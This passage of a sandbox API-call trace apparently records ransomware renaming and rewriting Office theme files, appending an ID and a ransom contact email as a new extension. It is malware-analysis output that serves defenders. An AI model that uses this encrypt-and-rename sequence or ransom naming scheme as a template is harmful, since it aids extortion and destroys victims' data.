cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4e00 [0249.607] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0249.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0249.607] GetProcessHeap () returned 0x630000 [0249.607] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa81) returned 0x681d78 [0249.607] GetProcessHeap () returned 0x630000 [0249.607] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa81) returned 0x6e5368 [0249.608] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.608] ReadFile (in: hFile=0x6e8, lpBuffer=0x681d78, nNumberOfBytesToRead=0xa60, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x681d78*, lpNumberOfBytesRead=0x3a7ff0c*=0xa60, lpOverlapped=0x0) returned 1 [0249.619] GetProcessHeap () returned 0x630000 [0249.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0249.619] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.619] WriteFile (in: hFile=0x6e8, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x3a7ff0c*=0xa60, lpOverlapped=0x0) returned 1 [0249.622] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.622] WriteFile (in: hFile=0x6e8, lpBuffer=0x6e5dc7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5dc7*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0249.622] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.622] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0249.622] CloseHandle (hObject=0x6e8) returned 1 [0249.622] GetProcessHeap () returned 0x630000 [0249.622] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0249.622] GetProcessHeap () returned 0x630000 [0249.622] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681d78 | out: hHeap=0x630000) returned 1 [0249.622] GetProcessHeap () returned 0x630000 [0249.622] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0249.622] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.622] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5abd13e7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0xc887496, dwReserved1=0x681d70, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5380 [0249.623] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0249.623] Sleep (dwMilliseconds=0x1) [0249.637] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\SATIN.INF", len=0x6a | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\SATIN.INF") returned 1 [0249.637] GetProcessHeap () returned 0x630000 [0249.637] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dd0) returned 0x6fe3bb0 [0249.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\satin.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0249.638] CloseHandle (hObject=0x69c) returned 1 [0249.638] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.638] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\satin.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\SATIN.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\satin.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.639] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.639] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\SATIN.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="SATIN.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SATINI~1.FIR")) returned 0x6d51c0 [0249.639] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0249.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\SATIN.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\satin.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0249.639] GetProcessHeap () returned 0x630000 [0249.639] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x7232d0 [0249.639] GetProcessHeap () returned 0x630000 [0249.639] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x7234c8 [0249.639] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.639] ReadFile (in: hFile=0x69c, lpBuffer=0x7232d0, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7232d0*, lpNumberOfBytesRead=0x3a7ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0249.642] GetProcessHeap () returned 0x630000 [0249.642] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0249.642] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.642] WriteFile (in: hFile=0x69c, lpBuffer=0x7234c8*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7234c8*, lpNumberOfBytesWritten=0x3a7ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0249.642] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.642] WriteFile (in: hFile=0x69c, lpBuffer=0x723687*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723687*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0249.642] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.642] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0249.643] CloseHandle (hObject=0x69c) returned 1 [0249.643] GetProcessHeap () returned 0x630000 [0249.643] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7234c8 | out: hHeap=0x630000) returned 1 [0249.643] GetProcessHeap () returned 0x630000 [0249.643] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7232d0 | out: hHeap=0x630000) returned 1 [0249.643] GetProcessHeap () returned 0x630000 [0249.643] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0249.643] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\SATIN.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5abf76fa, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1ec, dwReserved0=0x3a7fd20, dwReserved1=0x7232d0, cFileName="SATIN.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SATINI~1.FIR")) returned 0x6d51c0 [0249.643] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0249.643] Sleep (dwMilliseconds=0x1) [0249.653] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\SATIN.ELM", len=0x6a | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\SATIN.ELM") returned 1 [0249.653] GetProcessHeap () returned 0x630000 [0249.653] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dcc) returned 0x6fe3bb0 [0249.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\satin.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0249.654] CloseHandle (hObject=0x69c) returned 1 [0249.654] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\satin.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\SATIN.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\satin.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.655] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.655] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\SATIN.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x28551719, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="SATIN.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SATINE~1.FIR")) returned 0x6d51c0 [0249.655] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0249.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\SATIN.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\satin.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0249.655] GetProcessHeap () returned 0x630000 [0249.655] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0249.655] GetProcessHeap () returned 0x630000 [0249.655] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70a7c70 [0249.656] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.656] ReadFile (in: hFile=0x69c, lpBuffer=0x71c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0255.206] GetProcessHeap () returned 0x630000 [0255.206] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0255.206] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.207] WriteFile (in: hFile=0x69c, lpBuffer=0x70a7c70*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a7c70*, lpNumberOfBytesWritten=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0255.207] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.207] WriteFile (in: hFile=0x69c, lpBuffer=0x70b306f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b306f*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0255.207] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.207] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0255.207] CloseHandle (hObject=0x69c) returned 1 [0255.208] GetProcessHeap () returned 0x630000 [0255.208] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a7c70 | out: hHeap=0x630000) returned 1 [0255.226] GetProcessHeap () returned 0x630000 [0255.226] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0255.226] GetProcessHeap () returned 0x630000 [0255.226] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0255.226] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.227] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\SATIN.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x28551719, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e0fc0bf, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19393, dwReserved0=0xc887496, dwReserved1=0x71c0040, cFileName="SATIN.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SATINE~1.FIR")) returned 0x6d4ec0 [0255.227] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0255.227] Sleep (dwMilliseconds=0x1) [0256.240] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\INDUST.ELM", len=0x6c | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\INDUST.ELM") returned 1 [0256.240] GetProcessHeap () returned 0x630000 [0256.240] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cf4) returned 0x6fe3bb0 [0256.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\indust.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0257.370] CloseHandle (hObject=0x6cc) returned 1 [0257.371] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.371] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\indust.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\INDUST.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\indust.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.374] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.375] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\INDUST.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="INDUST.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDUST~2.FIR")) returned 0x6d5580 [0257.375] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0257.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\INDUST.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\indust.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0257.375] GetProcessHeap () returned 0x630000 [0257.375] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7474098 [0257.375] GetProcessHeap () returned 0x630000 [0257.375] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x747f4c8 [0257.376] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.376] ReadFile (in: hFile=0x6cc, lpBuffer=0x7474098, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7474098*, lpNumberOfBytesRead=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0263.449] GetProcessHeap () returned 0x630000 [0263.449] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0263.450] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.450] WriteFile (in: hFile=0x6cc, lpBuffer=0x747f4c8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x747f4c8*, lpNumberOfBytesWritten=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0263.450] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.450] WriteFile (in: hFile=0x6cc, lpBuffer=0x748a8c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x748a8c7*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0263.450] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.451] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0263.451] CloseHandle (hObject=0x6cc) returned 1 [0263.451] GetProcessHeap () returned 0x630000 [0263.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x747f4c8 | out: hHeap=0x630000) returned 1 [0263.451] GetProcessHeap () returned 0x630000 [0263.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7474098 | out: hHeap=0x630000) returned 1 [0263.451] GetProcessHeap () returned 0x630000 [0263.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0263.451] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0263.451] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\INDUST.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x62fa233b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1850d, dwReserved0=0xc887496, dwReserved1=0x7474090, 